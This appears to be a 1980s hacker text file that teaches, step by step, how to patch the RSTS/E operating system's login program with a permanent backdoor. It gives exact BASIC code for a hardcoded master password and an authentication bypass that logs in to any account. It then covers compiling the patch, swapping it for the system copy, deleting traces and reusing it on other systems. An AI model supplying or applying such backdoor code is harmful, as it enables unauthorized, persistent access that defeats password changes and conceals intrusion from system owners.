- This tutorial will deal with a subject many talk about, but few have
- actually accomplished, installing a true back door into an operating system.
-
- I will assume you have managed to get a privleged account on a RSTS/E
- system, and have a working knowledge of the basic system commands, and are
- somewhat familiar with a RSTS/E based text editor, such as TECO, or EDT.
- This procedure should work on all versions of RSTS/E between V6.0-00, And
- V8.5-00.
-
-
- 1) GETTING STARTED.
-
- Before you actually attempt to install the patches, you need to know a
- few things first.. Do the following "test's"..
-
- A) before you are logged in, type any charachter followed by a <c/r>
- the system will do 1 of two things, it will either respond with a
- 'Please say HELLO', or you will get the system header and the login
- prompt, make a note of which..
-
- B) before you are logged in, type 'HELLO', or 'LOGIN' followed by a <c/r>
- The system will respond with one of two possible system headers..

- User:
-
- Make a note of which login prompt you get, either a '#', or 'User: '.
-
- You'll need this when installing the patches..
-
-
- 2) FINDING LOGIN.
-
- Once you have made the above tests, log into your privleged account
- and now you must find the basic source code for the rsts/e login program
- which is 'login.Bas', or on some systems 'login.B2s'. I have generally
- found most basic source files located in either '(1,200)', or 'DB1:(1,200)'
- so look there first. If you don't find a copy in either of those accounts
- then do a 'dir (*,*)login.*', Or a 'dir db1:(*,*)login.*'. If neither of these
- directory lookups show up with 'login.Bas' then you either have to upload
- your own copy (incidentally, all rsts/e source files are ascii.). Or you're
- out of luck.. (But don't panic, most systems do keep a copy of their basic
- programs on-line).. Note: if there are more than two drives (db1, db2), you
- should search these also.. (Ie. Db3:, db4:, etc..).
-
- 3) INSTALLING THE 'BACKDOOR' ITSELF.
-
- Once you have found a copy of login.Bas, move it into your account
- with pip, (ie. PIP LOGIN.BAS=(*,*)LOGIN.BAS, where (*,*) = the account it's
- currently in.). If you have uploaded it then skip that step..
-
- Now you must use one of the systems text editors to install the patches
- I preffer TECO. So here you do your 'TECO LOGIN.BAS' and you're ready to
- go..
-
- First of all, you must decide on a password that you would like to use
- I usually like to use passwords that 'include' the special charachters not
- allowed in normal rsts/e passwords, (ie. #,%,&,*,!). Once you have decided
- on the password you'd like (make it a good one, cause it will be permanent).
- You are ready to start the 'patching'..
-
- Follow the next steps exactly, and type everything exactly as I have it.
- (I will be using '%%ZONE' as my 'BACKDOOR' password..)
-
- A) INSERT A LINE #110, HERE PUT IN 'BD$ = "WHATEVER PASSWORD YOU CHOSE"
- IE. 110 BD$ = "%%ZONE"
-
- B) at line 12000, count down to the 12th statement for that line.
- It should look something like:
-
- / WAIT 30 UNLESS A%
- / INPUT LINE #1%, P$
- / P$=CVT$$(P$,1%+4%+8%+16+32%+128%+256%)
-
- Directly after the line that reads '/INPUT LINE #1%,P$', you will insert the
- following line.
-
- / GOTO 12011 IF LEFT(CVT$$(P$,-1%),LEN(BD$)) = BD$
-
- So now it should read..
-
- / INPUT LINE #1%, P$
- / GOTO 12011 IF LEFT(CVT$$(P$,-1%),LEN(BD$))=BD$
- / P$ = CVT$$(P$,1%+4%+8%+16%+32%+128%+256%)
-
- C) now insert a line 12011, and type it EXACTLY as follows.
-
- 12011 I$=SYS(PRIV.ON$)
- / I$=SYS(CHR$(2%))
- / PRINT
- / INPUT "ACCOUNT #";PROJ%,PROG%
- / DIM M1%(30%)
- / M1%(X%)=0% FOR X% = 1% TO 30%
- / M1%(0%) = 9%
- / M1%(1%) = 6%
- / M1%(2%) = 14%
- / M1%(7%) = PROG%
- / M1%(8%) = PROJ%
- / CHANGE M1% TO M$
- / T$ = SYS(M$)
- / PS$ = MID(T$,9%,4%)
- / M$ = CHR$(6%)+CHR$(4%)+STRING$(2%,0%)+CHR$(PROG%)+CHR$(PROJ%)+PS$
- / I$ = SYS(M$)
- / I$ = SYS(CHR$(9%))
- / GOTO 32767
-
- (The previous line of code is what actually does the password lookup, and
- the login, bypassing login's normal security procedure, for those who care.)
-
- D) Now, here's where you use the information you got in step 1,
- 1) LIST LINE 32600
- If the system you are patchng gave you the login prompt when you hit
- Any charachter followed by a <c/r> before you were logged in, and line
- 32600 Reads.
- 32600 Q$=CHR$(9%)
- / PRINT FNC$;"PLEASE SAY HELLO"
- / TIMEOUT% = 17%
- Insert the following statement.
-
- 32600 Q$=CHR$(9%)
- / GOTO 200 <---- INSERT THIS STATEMENT
- / PRINT FNC$;"PLEASE SAY HELLO"
- / TIMEOUT% = 17%
-
- If the system printed 'Please say HELLO', upon entering any charachter
- before being logged in, -DO NOT- change this line.
-
- 2) List line 11000, the second statement should be one of the following
- / PRINT FNC$;"USER: "; OR / PRINT FNC$;"#";
-
- If the login prompt you got in step 1 was "#", then change that statement
- To read '/ PRINT FNC$;"#"' (if it dosn't already read that way)
-
- If you got a "User: " prompt in step #1, then change that statement to read
- '/ PRINT FNC$;"User: "' (** note the space after the ':')
-
- Now, save the program and exit out of the text editor, once you are in basic
- do the following..
- (I will assume we saved the file under the name: "LOGIN1.BAS")
-
- 1) TYPE "OLD LOGIN1.BAS"
-
- If you made any syntax errors, here's where they will show up. If you
- have any errors, go back and correct them with the text editor..
-
- 2) Once you have succesfully loaded the program into basic (using 'old'), type
-
- 'COMPILE', followed by a <c/r>. This will compile the program into machine
- Language, and automatically save a copy in your account under the extension
- '.BAC', so if I had loaded 'LOGIN1.BAS' (ie. OLD LOGIN1.BAS'), into memory
- and typed 'COMPILE', I would now have a compiled copy in my account under the
- name 'login1.Bac' (.Bac = basic compiled, by the way).
-
- E) SWAPPING THE PROGRAMS..
-
- Once you have succesfully gotten this far, the last step is to swap your
- 'doctored' copy of login, with the systems copy of login, you do this simply
- by typing: "PIP (1,2)LOGIN.* = LOGIN1.BAC" (assuming you are in the same
- account that your copy of 'login1.Bac' is in.. Now the patch is complete
- download a copy of your 'patched' basic source, for use on other systems you
- may run across.., And then delete all copies of it.. (Except the one you pipped
- to account (1,2), of course.)
-
- F) USING THE 'BACKDOOR'
-
- To use the backdoor, you simply enter any 'valid' account on the system
- when it asks 'user: ', or print's a "#", waiting for your account #, then when
- it asks for a password you type in your 'backdoor' password, and login will
- print 'enter account #', here type in whichever account you would like to get
- into (ie, 1,2 - 1,3 - 1,4 - etc...) And you will be automatically logged into
- that account, it should rememble something like this..
-
- (STARTING LOGGED OUT OF COURSE..)
- HELLO
-
-
- INTELL CORP.. RSTS/E V7.9 KB17: <DIALUP> JOB 6 20-JUN-85 10:46 PM
- USER: 1,2 <C/R> (1,2 IS ENTERED BY YOU)
- PASSWORD: %%ZONE <C/R> (%%ZONE IS ENTERED BY YOU, AND WON'T ECHO)
- ACCOUNT # 1,2 <C/R> (1,2 IS ENTERED BY YOU)
-
- NOW YOU WILL GET THE 'READY' PROMPT, AND BE LOGGED INTO ACCOUNT 1,2..
-
-
- Now you have full acess to the system no matter what they change any password
- to, and for as long as they remain using any version of RSTS/E under V9.0..
-
- So until next time..
- Dial with care.......
